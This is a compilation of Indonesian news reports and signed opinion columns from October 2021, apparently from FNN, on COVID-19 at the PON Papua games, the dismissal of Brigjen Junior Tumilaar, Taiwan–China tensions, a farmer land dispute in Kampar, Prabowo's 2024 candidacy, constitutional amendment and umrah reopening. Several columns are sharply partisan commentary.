Jayapura, FNN - Komite Penanganan COVID-19 dan Pemulihan Ekonomi Nasional (KPC-PEN), Minggu merilis sedikitnya 45 atlet dan ofisial yang turun di Pekan Olahraga Nasional (PON) XX Papua terkonfirmasi COVID-19 atau terjadi penambahan dua kasus per 9 Oktober. Kasus yang terjadi prosentasenya 0,45 persen dari 10.066 atlet dan ofisial yang ada. Dari jumlah tersebut yang masih menjalani perawatan sebanyak 34 orang dan yang sembuh sebanyak sembilan orang. Atlet dan ofisial yang menjalani perawatan terbagi di Lota Jayapura delapan orang, Kabupaten Jayapura 13 orang, Mimika satu orang dan Merauke sebanyak 12 orang. Sedangkan yang sembuh enam di Kota Jayapura dan tiga di Mimika. "Adapun tambahan kasus harian per 9 Oktober 2021 adalah dua orang yang terdiri satu orang di Kota Jayapura dan satu orang di Merauke," lapor Komite Penanganan COVID-19 dan Pemulihan Ekonomi Nasional (KPC-PEN). Adapun sebaran atlet dan ofisial yang terkonfirmasi COVID-19 terjadi di 16 dari 37 cabang olahraga yakni sepatu roda, bermotor, cricket, panahan, catur, taekwondo, tenis, judo, softball, sepak bola, sepak takraw, basket, futsal, wushu, dan anggar. Dan jika dilihat dari asal daerahnya, ada dari 15 Provinsi (dari 34 Provinsi) yakni Jawa Tengah, Bali, Jambi, DI Yogyakarta, DKI Jakarta, Papua, Jatim, Maluku Utara, Kalimantan Timur, NTB, Sumatera Utara, Kalimantan Utara, Riau, Kalimantan Tengah, dan Jawa Barat. Sebelumnya Menteri Koordinator Bidang Perekonomian Airlangga Hartarto, selaku Ketua Komite Penanganan COVID-19 dan Pemulihan Ekonomi Nasional (KPC-PEN) dalam keterangan resminya mengatakan pihaknya meminta pihak terkait untuk melaksanakan tugas sampai dengan H+5 setelah acara penutupan PON, Jumat (15/10). Pihak yang diharapkan terus melaksanakan tugas dan mengawasi peserta yang masih di Papua adalah Menteri Kesehatan (Menkes), Menteri Perhubungan, Menteri Pemuda Olahraga (Menpora) dan Ketua Satgas COVID-19. “Menkes agar menugaskan tim untuk tetap mengawasi atlet yang masih berada di Papua, dan tetap merawat jika ada atlet yang terpapar COVID-19, harus diisolasi dulu di Papua dan melakukan tes sampai hari ke-5. Ini akan berlaku sampai H+5 setelah penutupan PON, termasuk untuk Kapal Isoter yang ada di Papua. Menhub agar tetap menugaskan sampai H+5,” kata Menko Airlangga dalam Rapat Koordinasi Monitoring dan Evaluasi Penyelenggaraan PON XX 2021, secara virtual, di Jakarta. Mekanisme kepulangan atlet dan ofisial yang telah ditetapkan pemerintah yakni mereka harus melaksanakan Tes PCR sejak dari keberangkatan (sebelum penerbangan) dari Papua, dan melakukan lagi Tes PCR setelah tiba di Bandara di daerahnya. Mereka juga harus menjalankan Karantina Mandiri selama 5 hari di lokasi yang sudah disiapkan oleh pemda masing-masing. Namun, apabila Pemda tidak menyediakan, maka Satgas Covid19 Pusat akan bekerja sama dengan Satgas COVID-19 Daerah serta KONI Daerah, untuk menyiapkan tempat isolasi terpusat tersebut. (sws, ant)

Mengapa Agus Widjojo Getol Sekali Memisahkan TNI dari Rakyat?

Ini statemen yang kedua kalinya yang pernah saya dengar langsung dari mulut seorang jendral TNI senior, yang sudah udzur usia, sedang menduduki jabatan strategis dalam pengembangan karakter manusia manusia pilihan, namun bisa bisa membawa perubahan yang menyesatkan bagi arah dan perjalanan bangsa Indonesia! Oleh Sugengwaras Adalah Letnan Jendral Purn Agus Wijoyo, mantan Komandan Sesko TNI dan kini masih menjabat sebagai Gubernur Lemhanas, putra angkat alm Jendral anumerta Sutoyo, salah satu korban tragedi kudeta G 30 S PKI, namun sedang mendapat tugas belajar di Rusia saat terjadi tragedi nasional itu. Statemen pertama saat masih menjabat Komandan Sesko TNI, sebagai penggagas awal atas pemikiran tidak efektifnya Koter, penghapusan / peniadaan istilah Koter (Komando Teritorial) seperti Kodam, Korem, Kodim, Koramil dan Babinsa, sedangkan statemen kedua tentang pernyataan "Sudah tidak diperlukan lagi Kemanunggalan TNI POLRI dengan Rakyat", ketika diwawancarai Najwa Shihab baru- baru ini. Mari kita renungkan, telusuri dan ulas tuntas masalah ini secara integral komprehensif dengan nalar akal sehat, perpaduan ilmu dan fakta empiris di lapangan yang dilandasi niat luhur, hati bersih, tanpa benci, bohong dan fitnah. Pertama, sejarah membuktikan bahwa kemerdekaan Indonesia adalah hasil dari perjuangan dan pengorbanan rakyat bersenjata dan non bersenjata, merupakan hal yang tidak bisa dipungkiri dalam mengantar, menuju dan mencapai kemerdekaan Indonesia. Dalam keberhasilan ini tidak terlepas dari perjuangan dan pengorbanan bangsa Indonesia, kondisi geografi, demografi dan sosial saat itu, serta situasi dan kondisi Internasional / global. Kedua, Tuhan telah menakdirkan letak dan kondisi negara kita yang diakui sebagai jamrud katulistiwa dan dilalui putaran cincin api bumi, yang serba melimpah kekayaan sumber daya alam dan yang terkandung di dalamnya. Ketiga, mau tidak mau, suka tidak suka, bangsa Indonesia adalah bangsa pada posisi yang belum maju seperti negara negara maju lainya didunia, yang berdampak dan berkonsekwensi terhadap perubahan dan penyesuaian untuk mengimbangi peradaban, perkembangan dan dinamika global yang terus menerus, meningkat, tidak stagnan dan tidak pernah berhenti. Kita kerucutkan pada pandangan Agus Widjojo terkait permasalahan tindakan Brigjen TNI Yunior Tumilaar yang memberikan pembelaan terhadap salah seorang rakyat lemah yang tertindas oleh kedzoliman. Seharusnya Agus Widjojo tidak lupa dan mau menganalisis tentang makna Doktrin yang hakiki, yang tentunya berprinsip normatif namun bisa luwes dilapangan terhadap hal hal yang sulit diterjemahkan. Tampaknya, dia juga tidak menyandingkan antara doktrin TNI dengan doktrin doktrin lainya termasuk doktrin Polri. Dalam pandangan saya, doktrin TNI SAPTA MARGA dan SUMPAH PRAJURIT, hingga kini masih relevan, solid dan valid dikaitkan dengan kondisi dan ancaman saat ini, baik sikap dan tindakan secara Satuan / Kesatuan seperti yang tertuang dalam Sapta Marga maupun untuk Perorangan Prajurit seperti yang tertuang dalam Sumpah Prajurit. Itulah yang telah diimplementasikan oleh seorang prajurit TNI, Brigjen TNI Yunior Tumilaar dalam mengamalkan doktrin Sapta marga dan Sumpah Prajurit serta 8 TNI WAJIB. Dia tidak salah dan telah secara tepat menerapkan doktrin tersebut. Jangan lantas Agus Widjojo yang merasa sebagai orang yang masih terpakai oleh penguasa menjadi tidak jelas, salah kaprah dan salah arah dalam melihat dan menilai tindakan Brigjen Yunior. Ingatlah atas jabatan Jendral sekarang, yang sesungguhnya sangat dominan, strategis dan mulia, justru anda bawa kearah sesat. Bahwa pandangan jendral yang memisahkan antara Markas Komando dan Perorangan saya bisa paham, namun dalam implementasinya, Sapta Marga sebagai semboyan mutiara Markas Komando atau Satuan tidak bisa dipisah pisahkan dengan Sumpah Prajurit sebagai semboyan mutiara Perorangan Prajurit Dari rangkaian, kulminasi, akumulasi dan kumpulan hasil implementasi Sumpah Prajurit akan bisa menjadikan hasil implementasi Sapta Marga. Dengan.kata lain, dari hasil kumpulan implementasi Sumpah Prajurit akan menjadikan hasil implementasi Sapta Marga. Jadi, sekali lagi jangan menjauhkan atau memisahkan antara Sapta Marga dan Sumpah prajurit, seperi kekliruan Jendral dalam memaknakan Satuan Teritorial yang perlu dihapus. Sadari banyak kelemahan dan kekurangan secara sarana dan prasarana buatan untuk Pertahanan Negara, Nasional kita, namun dengan memanfaatkan dan memberdayakan teritorial yang ada (bumi wilayah dan seluruh isi diatasnya) akan membuat musuh dari negara lain mungkin bisa masuk ke wilayah negara kita, namun tidak akan mampu tinggal lama seperti waktu dijajah Belanda. Jadi pernyataan jendral tentang *tidak perlunya lagi, kemanunggalan TNI dengan Rakyat* adalah ngawur, mabuk , pikun dan sesat! Teritorial (bumi wilayah dan seluruh isi diatasnya, termasuk rakyat) adalah potensi potensi yang potensial yang harus dibina, dipupuk, diarahkan, dimanfaatkan dan diberdayakan sebaik baiknya, sebesar besarnya dan setepat tepatnya. Kemanuggalan TNI POLRI dengan rakyat, harus dan wajib diprogramkan dan dilakukan selama lamanya, selama NKRI masih ada. Bahwa kekuatan tentara bersenjata yang masih aktif, yang sudah pensiun, seluruh rakyat maupun wilayah harus tetap sinergi sesuai peran dan kondisi dan kemampuannya masing masing, harus bersatu dan kompak, tidak dihasut dan diadudomba seperti sekarang. Inilah tanggung jawab besar seorang presiden. Jadi kesatuan inilah yang harus terus dilatihkan. Kita kuat karena terlatih , berlatih bukan untuk kalah dan mati tapi untuk menang dan hidup. Masa masa damai adalah masa untuk berlatih, guna menyiapkan perang Jika mau dalam keadaan damai, bersiaplah untuk perang ! Di sisi lain tentang makna dan hubungan rakyat dan presiden. Agus Widjoyo menyatakan RAKYAT PUNYANYA PRESIDEN. Juga menyatakan belum ada negara sebelum Indonesia merdeka! Telusur dan ulas tentang ini, harus kita kaitkan dengan sistim negara yang ada, sehingga bisa ditemukan tentang hak terhadap rakyat dari tinjauan bahwa Panglima TNI tidak dan bukan dipilih rakyat sedangkan presiden dipilih oleh rakyat melalui proses dan prosedur yang ada, ini bisa dipahami, namun tidak relevan dengan penghilangan dan peniadaan kemanunggalan TNI dengan Rakyat saat masa damai / sekarang. Ingat ini jendral, jangan merasa tinggi berperan namun justru berpikir sesat ! Semoga ini juga mengingatkan dan menyadarkan kepada seluruh TNI POLRI generasi penerusku baik yang masih aktif maupun yang sudah pensiun ! *) Purnawirawan TNI AD

Junior Dalam Kepangkatan Senior Dalam Kejuangan

By M Rizal Fadillah BRIGJEN TNI Junior Tumilaar akhirnya dipecat dari jabatan sebagai Irdam XIII/Merdeka Sulawesi Utara akibat membuat surat terbuka kepada Kapolri sebagai protes atas pemanggilan anggota Babinsa oleh Kepolisian. Pomdam menuding Junior melakukan pelanggaran hukum disiplin dan hukum pidana militer. Terlepas dari sisi disiplin tentara, sikap Junior yang melindungi anggota kesatuannya dari pemanggilan Polisi sekaligus dalam rangka membela masyakarat atas sengketa tanah dengan pengembang, ternyata mendapat simpati dan dukungan masyarakat termasuk para netizen. Junior menjadi Perwira TNI yang fenomenal. Lengkap kini muncul figur-figur unik pemberani yang melawan arus di kancah bangsa. Di samping Junior Tumilaar (TNI), ada Napoleon Bonaparte (Polri), Habib Rizieq Shihab (Ulama), dan tokoh lainnya. Mereka siap berhadapan dengan hukum yang dimaklumi sebagai bagian dari kepanjangan tangan politik. Junior Tumilaar memang berpangkat Brigjen, masih tingkat "junior" dari kepangkatan Perwira Tinggi, tetapi berkualitas senior pada sikap kejuangan. Prajurit tempur yang memiliki integritas tinggi. Netizen menyebut "the real TNI". Menjaga marwah kesatuan dan melindungi bawahan yang berjuang membela rakyat. Babinsa adalah organ resmi TNI yang berhadapan langsung dengan masyarakat. Tuduhan melanggar disiplin militer terlalu berat dituduhkan, apalagi dikualifikasikan sebagai melanggar hukum pidana militer. Sungguh sangat berlebihan. TNI telah masuk dalam perangkap lingkaran politik otoritarian. KSAD sebagai atasan harus berbuat untuk membebaskan diri dari belenggu kendali politik tersebut. Sikap Brigjen Junior yang mengingatkan Polri melalui surat terbuka kepada Kapolri adalah pengkritisan atas sikap institusi Kepolisian yang telah merambah ke luar dari lingkaran. Publik menilai bahwa jangankan terhadap rakyat sipil, kepada TNI pun Polisi berani melakukan tindakan. Tanpa alas peraturan yang kuat. Sesungguhnya TNI untuk anggotanya itu memiliki ruang pemeriksaan dan peradilan sendiri. Kini Junior telah dipecat, lalu menghadapi tuduhan kriminal. Masyarakat dipastikan akan menyoroti kasus ini dengan serius. Kegaduhan politik adalah konsekuensi dari sikap kerakyatan Perwira Tinggi TNI berbanding dengan sanksi yang diancamkan. Perbandingan lain adalah Letjen (Purn) Agus Widjojo yang menyatakan bahwa TNI bersatu dengan rakyat adalah keliru. Menurutnya sebagai negara demokrasi rakyat itu milik Presiden. TNI nampaknya kini sedang mengalami "confuse" jati diri. Brigjen Junior Tumilaar yang berorientasi pada rakyat dipecat dan diancam sanksi hukum, akan tetapi Mayjen Dudung Abdurrahman yang memerosotkan wibawa TNI dengan mengobrak-abrik baliho malah naik pangkat dan jabatan. Kini Pangkostrad. "Confuse" ini sebenarnya disebabkan oleh hilangnya makna TNI sebagai tentara rakyat dan tentara pejuang. TNI sebagai pilar Negara bergeser menjadi pilar Pemerintah bahkan menjadi pilar Presiden. Jika demikian NKRI saat ini sedang mengalami masa-masa rapuh. Akibat TNI yang rapuh dan tunduk pada kepentingan politik pragmatis. *) Pemerhati Politik dan Kebangsaan

Pemimpin Taiwan Tak Mau Tunduk pada Aturan Cina

Taipei, FNN - Taiwan akan terus memperkuat pertahanannya untuk memastikan tak satu pun negara lain bisa memaksanya tunduk pada aturan yang ditetapkan China, kata pemimpin Taiwan Tsai Ing-wei, Minggu. Negara pulau yang diklaim oleh China sebagai wilayahnya itu berada di bawah tekanan militer dan politik yang terus meningkat untuk menerima aturan Beijing. Aksi angkatan udara China yang berkali-kali terbang di zona pertahanan Taiwan telah menimbulkan kekhawatiran dunia internasional. Presiden China Xi Jinping pada Sabtu menjanjikan "reunifikasi penuh damai" dengan Taiwan. Dia tidak menyebut secara langsung penggunaan kekuatan. Namun, dia masih marah dengan reaksi Taiwan yang mengatakan bahwa hanya rakyat Taiwan yang dapat memutuskan masa depan mereka. Berpidato dalam pawai Hari Nasional, Tsai mengatakan dia berharap ketegangan di Selat Taiwan mereda. Dia mengulangi pernyataan bahwa Taiwan tidak akan "bertindak gegabah". "Namun tak akan ada ilusi bahwa rakyat Taiwan akan tunduk pada tekanan," kata dia. "Kami akan terus memperkuat pertahanan nasional kami dan menunjukkan tekad kami untuk mempertahankan diri untuk memastikan tak satu pun pihak dapat memaksa Taiwan untuk mengikuti jalan yang telah ditetapkan China buat kami," kata Tsai. "Sebab jalan yang telah ditetapkan China tidak menawarkan cara hidup yang bebas dan demokratis bagi Taiwan, juga kedaulatan bagi 23 juta jiwa rakyat kami." Sumber: Reuters

INFID Minta Transparansi Dugaan Kriminalisasi Petani Kampar

Jakarta, FNN - International NGO Forum on Indonesian Development (INFID) meminta transparansi pengusutan dugaan kriminalisasi petani anggota Koperasi Petani Sawit Makmur (KOPSA-M) di Kampar, Riau, yang dijadikan tersangka akibat menjual hasil kebunnya sendiri. "Terdengar janggal? Sedih, namun begitu faktanya. Kita tidak boleh menutup mata atas sejumlah konflik lahan antara masyarakat adat dan perusahaan perkebunan yang beberapa di antaranya dikelola BUMN, seperti PTPN dan Perhutani," kata Intan Bedisa dari INFID dikutip dari keterangan tertulis yang diterima di Jakarta, Minggu. Intan mengatakan kedua petani anggota KOPSA-M di Desa Pangkalan Baru, Kecamatan Siak Hulu, Kabupaten Kampar, Riau, dalam upaya mencari peradilan telah membuat Surat Terbuka untuk Presiden Joko Widodo, Menko Polhukam Mahfud MD, Menteri BUMN Erick Thohir, Kapolri Jenderal Polisi Listyo Sigit Prabowo, dan Jaksa Agung St Burhanuddin. Kedua petani dilaporkan oleh PT Perkebunan Nusantara (PTPN) V, tempat mereka sehari-hari bekerja. Dalam surat terbuka yang diterima INFID pada 7 Oktober 2021, kata Intan, KOPSA M menceritakan perjuangannya saat ini untuk pengembalian lahan kebun yang telah beralih kepemilikan kepada perusahaan-perusahaan swasta melalui proses yang diduga melawan hukum. Surat tersebut, lanjut Intan, mengungkapkan bahwa terdapat lebih dari 750 hektare kebun KOPSA M yang telah beralih kepemilikan. Selain itu, KOPSA M juga menanggung beban utang sebanyak lebih kurang Rp150 miliar akibat pembangunan kebun gagal yang dilakukan oleh oknum-oknum PTPN V di masa lalu, tepatnya pada 2003-2006. "Tidak jarang konflik lahan antara masyarakat adat dan perusahaan terjadi karena ketidakjelasan batas dan hak kepemilikan lahan. Konflik lahan ini memicu permasalahan lainnya, yaitu ketimpangan kesejahteraan," ungkapnya. INFID menyerukan dan mendesak Pemerintah Pusat untuk memberi perhatian dan melakukan investigasi mendalam kepada proses hukum yang tengah bergulir terhadap dua orang petani sawit di Kampar, Riau, yang dijadikan tersangka akibat menjual hasil kebunnya sendiri. Menurut dia, masyarakat sekitar mencari nafkah dan memenuhi kebutuhan sehari-hari di lokasi usaha perusahaan. Kegiatan ini justru disikapi oleh perusahaan sebagai perbuatan melanggar hukum dan diproses melalui mekanisme pidana. "Kegiatan usaha PTPN dan Perhutani juga sangat mungkin berdampak pada kehidupan masyarakat sekitar," tutur Intan. Ia mencontohkan kasus tanah longsor di Mandalawangi, Garut, Jawa Barat, yang menelan 21 korban jiwa pada 28 Januari 2003. Kasus ini harus dan perlu diproses berkeadilan sejalan dengan kebijakan HAM Indonesia. Hal ini merujuk pada Peraturan Presiden (Perpres) Nomor 53 Tahun 2021 tentang Rencana Aksi Nasional Hak Asasi Manusia (RANHAM) Tahun 2021-2025. Pada RANHAM generasi V ini, pemerintah fokus pada perlindungan dan penghormatan HAM terhadap kelompok rentan yang meliputi perempuan, anak, penyandang disabilitas, dan kelompok masyarakat adat. Bahkan, kata Intan, pemerintah sudah membentuk Gugus Tugas Nasional dan Gugus Tugas Daerah yang tugasnya meliputi pengawasan penegakan HAM hingga level daerah. "Artinya, kasus dugaan kriminalisasi para petani dan konflik lahan di Kampar, Riau, ini wajib dikawal ketat untuk menunjukkan bahwa RANHAM bukan jargon politik semata,” ucap dia menegaskan. Sebagai negara yang turut menyetujui implementasi The United Nations Guiding Principles (UNGPs) mengenai HAM dan Bisnis tahun 2011, lanjut Intan, Indonesia harus merujuk tiga pilar dalam UNGPs untuk menegakan HAM dalam bisnis. Pilar pertama adalah kewajiban negara untuk melindungi. Kedua, pilar tanggung jawab korporasi menghormati HAM. "Dalam aspek ini, upaya untuk membangun komitmen dan tanggung jawab korporasi sudah mulai dibangun. Terakhir, pilar pemulihan yang efektif bagi kelompok yang terkena dampak negatif dari kegiatan usaha,” paparnya. Perlu diingat, lanjut Intan, lemahnya akuntabilitas dan transparansi pengusutan dugaan kasus kriminalisasi petani oleh korporasi ini akan mencerminkan efektifitas penegakan hak asasi manusia (HAM) di Indonesia. "Jika kasus pelanggaran HAM masa lalu belum bisa terpecahkan, setidaknya negara jangan menambah dosa pelanggaran HAM dengan mengabaikan akuntabilitas penegakan HAM dalam bisnis sesuai dengan kaidah-kaidah UNGPs dan RANHAM," tukas Intan. (sws, ant)

Dukungan Masyarakat Masif, Prabowo Pastikan Maju di Pilpres 2024

Jakarta, FNN - Sekretaris Jenderal DPP Partai Gerindra Ahmad Muzani menyampaikan alasan Ketua Umum Partai Gerindra Prabowo Subianto maju dalam kontestasi Pemilu Presiden (Pilpres) 2024, salah satunya adalah permintaan masyarakat yang masif. "Saya katakan, 2024 Pak Prabowo Insya Allah akan maju dalam laga pilpres. Majunya beliau karena begitu masifnya permintaan kita semua, besar harapan rakyat, pembangunan harus berlanjut, cita-cita kita berpartai belum terwujud," kata Muzani dalam keterangannya di Jakarta, Minggu. Hal itu dikatakan Muzani saat menghadiri Rapat Koordinasi Daerah (Rakorda) DPD Gerindra Sulawesi Selatan pada Sabtu (9/10). Dalam Rakorda tersebut, DPD Gerindra Sulsel meminta kesediaan Ketua Umum Partai Gerindra untuk maju di Pilpres 2024. Muzani mengatakan, di Pilpres 2019 Prabowo sebagai Calon Presiden berhasil menang di Sulawesi Selatan dengan persentase 57 persen. Untuk itu dia meminta kepada seluruh pengurus DPD, DPC, PAC hingga ranting di Sulawesi Selatan merapatkan barisan sehingga target menang di Pilpres dengan target suara 65 persen bisa tercapai. "Tekad kita untuk memenangkan Pak Prabowo di 2024 harus lebih besar, saya minta dengan hormat jangan sampai ada anggota DPRD Sulsel menyebabkan kekalahan kita," ujarnya. Muzani mengatakan, para kader partai harus menjadi faktor penentu kemenangan Gerindra di Pemilu 2024 dan Prabowo di Pilpres 2024. Menurut dia, dengan target minimal kemenangan 65 persen di Sulsel, maka harus jadikan wilayah tersebut sebagai "kandang" Gerindra. Dia meminta seluruh kader Gerindra untuk tidak melakukan perbuatan yang dapat merugikan partai, namun harus menjadi faktor pemenang bagi Prabowo Subianto di pilpres mendatang. "Dalam survei, Pak Prabowo paling unggul, elektabilitas paling tinggi, maka permintaan saudara untuk Pak Prabowo maju di 2024 tidak salah. Ini momentum dan kesempatan kita untuk mendudukkan kader terbaik untuk di kursi top eksekutif," tuturnya. Dia tidak ingin kader Gerindra jadi bagian penyebab masyarakat tidak memilih Prabowo sehingga semua kesalahan yang pernah dilakukan kepada masyarakat harus diperbaiki. Ketua DPD Gerindra Sulawesi Selatan Andi Iwan Darmawan Aras mewakili 12 DPC kabupaten/kota di Sulawesi Selatan mendeklarasikan dukungannya kepada Prabowo Subianto untuk maju sebagai capres di Pemilu Presiden 2024. "Saya selaku ketua DPD Sulsel mewakili seluruh pengurus meminta dan memohon kesediaan Bapak Prabowo untuk dapat dicalonkan sebagai calon presiden tahun 2024," ujarnya. Untuk itu, dia meminta agar seluruh kader Gerindra Sulsel untuk memulai kerja pemenangan mulai dari DPC hingga ranting. Menurut dia Gerindra Sulsel harus lebih optimal lagi, pembenahan infrastruktur partai harus terus dilakukan, masih banyak yang butuh penyempurnaan. "Kami meminta seluruh ketua DPC agar melengkapi infrastruktur hingga ke ranting. Agar loyalitasnya lebih maksimal ke depan, terapkan arti positif TSM, terstruktur, sistematis, dan masif dalam memenangkan Pak Prabowo sebagai Presiden 2024," katanya. Dalam Rakorda tersebut, turut hadir sejumlah anggota DPR RI Fraksi Gerindra seperti Prasetyo Hadi, Kamarusamad, Azikin Sultan, dan M Husni. Turut hadir jajaran DPP antara lain Ketua DPP Danang Wicaksana dan Wasekjen Fauzi Badilah. (sws, ant)

Ketua DPD Siapkan Dialog Publik Amandemen Konstitusi

Jakarta, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, akan menyiapkan Focus Group Discussion (FGD) dan dialog publik terkait pentingnya amendemen konstitusi di setiap Majelis Pimpinan Cabang (MPC) Pemuda Pancasila (PP) di Jawa Timur. "Sejauh ini DPD sedang masif membuat FGD, dialog publik dan sosialisasi ke sejumlah daerah dan memang masih prioritas ke kampus. Nanti saya akan agendakan membuat FGD tersebut di setiap MPC agar stakeholder di daerah juga tahu perjuangan kita," kata LaNyalla di depan kader PP dalam acara Rakerwil MPW PP Jatim, di Surabaya, Minggu. Dijelaskan LaNyalla, amandemen konstitusi sebagai langkah koreksi perjalanan bangsa. Kader-kader Pemuda Pancasila, menurutnya, harus tahu akan hal itu karena hal itu merupakan cita-cita mulia demi terwujudnya keadilan sosial bagi seluruh rakyat Indonesia. "Sudah 22 tahun amendemen konstitusi 1 sampai 4 tetapi perubahan di masyarakat tidak ada. Persoalan keadilan sosial ini harus diselesaikan dengan pendekatan yang fundamental dan benar-benar pada akar persoalan yaitu pembenahan di hulu,” tegasnya. Menurut LaNyalla, terkait rencana amandemen konstitusi, posisi DPD RI ingin memperkuat posisi DPD yang merupakan representasi daerah. DPD menuntut kesamaan hak dengan DPR yang merupakan representasi partai politik. "DPD ini seperti DPR, dipilih langsung oleh rakyat tetapi wewenangnya berbeda. Makanya kita sedang menuntut agar disamakan haknya. Terutama hak dalam mencalonkan presiden," jelasnya. Menurut LaNyalla, sebelum amendemen 1 sampai 4 UUD 1945, MPR terdiri dari DPR, utusan golongan dan utusan daerah. Setelah amendemen DPR tetap ada, utusan golongan hilang sedangkan utusan daerah menjelma menjadi DPD. "Sebelum amendemen, MPR yang terdiri dari DPR, utusan golongan dan utusan daerah itu bisa mencalonkan Presiden. Setelah amendemen hanya DPR yang bisa calonkan presiden," lanjutnya. Artinya, ditambahkan LaNyalla, rakyat yang berpartai dan rakyat tidak berpartai atau nonpartisan harus sama-sama haknya. Calon presiden perseorangan salurannya bisa melalui DPD. "Saya kira rakyat juga sudah cerdas. Mereka sudah mengerti track record parpol. Makanya kita sebagai non partisan berharap banyak dukungan untuk amandemen konstitusi sehingga ada perbaikan bagi bangsa ini," ucap LaNyalla. (sws, ant)

Umrah Akan Dibuka, Sapuhi Minta Kominfo Buka Link PeduliLindungi

Jakarta, (FNN) – Pemerintah Arab Saudi berencana kembali membuka pelaksanaan ibadah umrah bagi jamaah Indonesia. Hal itu sesuai disampaikan Pemerintah Arab Saudi melalui nota diplomatik Kedutaan Besar (Kedubes) Arab Saudi di Jakarta, 8 Oktober 2021. Menteri Luar Negeri, Retno Marsudi mengatakan hal tersebut dalam konferensi pers secara virtual melalui kanal YouTube MoFA Indonesia, Sabtu, 9 Oktober 2021. Lalu apa tanggapan pengelola Biro Perjalanan Haji dan Umrah? Ketua Umum Serikat Penyelenggara Haji dan Umrah Indonesia (Sapuhi), Syam Resfiadi mengatakan, “Itu bukan pembukaan. Itu baru persiapan saja. Pada dasarnya Arab Saudi sudah siap membuka umrah dari Indonesia. Akan tetapi, perlu dengan catatan, mungkin Arab Saudi tidak membuka hanya untuk negara Indonesia, tetapi negara-negara lain. Juga termasuk negara besar mengirim umrah ke Arab Saudi.” Syam meminta pemerintah Indonesia menyesuaikan diri dengan ketentuan protokol kesehatan yang berlaku di Arab Saudi, sehingga rencana pembukaan ibadah umrah segera terealisasi. Lebih khusus ditujukan kepada Kementerian Komunikasi dan Informatika (Kominfo) supaya segera membuka link PeduliLindungi, sehingga orang Indonesia yang ingin mendaftarkan bisa diterima dalam sistem umrah-nya. Sebab, hal tersebut menjadi salah satu syarat supaya bisa mendapatkan visa umrah. Ia menyebutkan pentingnya penyesuaian protokol kesehatan tersebut. “Kalau di Arab Saudi tidak perlu PCR atau polymerase chain reaction dan tidak perlu karantina, maka di Indonesia tidak perlu PCR dan tidak perlu lagi karantina karena sudah divaksin dua kali dan seterusnya. Jadi, upaya mencegahan penyebaran Covid-19 (Coronavirus Disease 2019) harus disesuaikan (dengan Arab Saudi). Hal tersebut sedang dibicarakan di tingkat kementerin dari Arab Saudi dan Indonesia,” kata Syam Resfiadi kepada FNN.c0.id, di Jakarta, Ahad, 10 Oktober 2021. Menurut Syam, dalam penerapan protokol kesehatan, Arab Saudi tidak akan membuat kebijaksanaan yang bisa menimbulkan kecemburuan sosial di antara negara yang akan memberangkatkan warganya beribadah umrah. Jadi, yang sedang dilakukan, bagaimana agar protokol kesehatan Arab Saudi dengan protokol kesehatan di negara masing-masing bisa dilakukan bersamaan atau tidak saling bertentangan Dia mengatakan, para pengelola biro perjalanan haji dan umrah masih menunggu keterangan resmi dari pemerintah Arab Saudi. “Ya kita tunggu saja. Misalnya seberapa lama Arab saudi akan mengumumkan secara resmi, tidak lagi melalui twitter, tetapi lansung dari kementerian haji, kementerian luar negeri kementerian kesehatan mereka (Arab Saudi) kepada kementerian yang terkait dengan yang sama dinegara pengirim umrah. Jadi kita harapkan, mungkin dalam waktu dekat semoga saja bisa terealisasi keberangkatan ke Arab Saudi dari negara-negara yang banyak mengirim jemaah umrah,” kata Syam Resfiadi, Direktur PT Patuna Mekar Jaya (Patuna Travel) itu. Ia menegaskan pentingnya Kominfo membuka link PeduliLindungi bagi mereka yang ingin mendaftarkan agar bisa berangkat umrah. “Link PeduliLindungi menjadi syarat agar bisa mendapatkan visa umrah. Sertifikat vaksin yang ada itu supaya bisa di-link-kan atau diterima oleh komputer Arab Saudi. “Percuma, kalau di-link-nya tidak dapat visa, walaupun umrah sudah dibuka. Sama saja bohong,” kata Syam. (MD/M.Anwar Ibrahim-Job).

Watak Politik Dark Triad Jokowi

Oleh Ubedilah Badrun JOKOWI telah membohongi rakyat berkali-kali, terakhir ia membohongi rakyat dalam soal pembiayaan kereta cepat. Sebab tahun 2016 bilang tidak mau pakai uang dari APBN kemudian oktober 2021 ini Jokowi bilang pake APBN untuk proyek kereta cepat. Sebelumnya juga bohongnya sadis, berjanji akan menguatkan KPK tetapi tahun 2019 justru melemahkan KPK melalui revisi UU KPK dan tidak maunya Jokowi mengeluarkan Perppu waktu itu. Kini 2021 terbukti KPK makin lemah. Maaf, atas semua kebohongan tersebut saya khawatir Jokowi sesungguhnya memiliki watak Dark Triad political behavior. Meminjam istilah Dark Triad dari peneliti Delroy Paulhus dan Kevin M. Williams dalam The dark side of normal personality: Self-report and behavioral correlates (2002) dan dalam The Dark Triad of Personality: Narcissism, Machiavellianism, and Psychopathy (2002). Kedua psikolog ini mengindentifikasi tiga sifat kepribadian paling menonjol dari orang-orang yang dianggap berbahaya dan berisiko sebagai kriminal. Ketiga sifat kepribadian itu adalah narsisme, psikopat, dan machiavellianisme. Ketiganya memiliki ciri-ciri dalam hal rendahnya kepekaan sosial, senang promosi diri, memiliki kedinginan emosional, dan pada titik tertentu memiliki agresivitas tinggi bahkan kejam menghabisi lawan politiknya. Salah satu dark triad yang berbahaya dan bisa masuk level kriminal di ranah politi adalah ketika level dark triad machiavellianism nya berada pada level tinggi. Layaknya semua sifat kepribadian, Dark Triad dalam diri setiap orang juga memiliki tingkatan tertentu, ada yang rendah ada yang tinggi. Nah yang berbahaya itu pada level tinggi dark triad machiavellianism. Sebab wataknya senang membohongi, menipu bahkan menghabisi lawan politik secara kejam. Semoga Jokowi tidak masuk kategori pada level tinggi Dark Triad. Ubedilah Badrun Analis Sosial Politik UNJ

Tumilaar Jenderal yang Dirindukan, Implementasikan Perintah Jenderal Andika

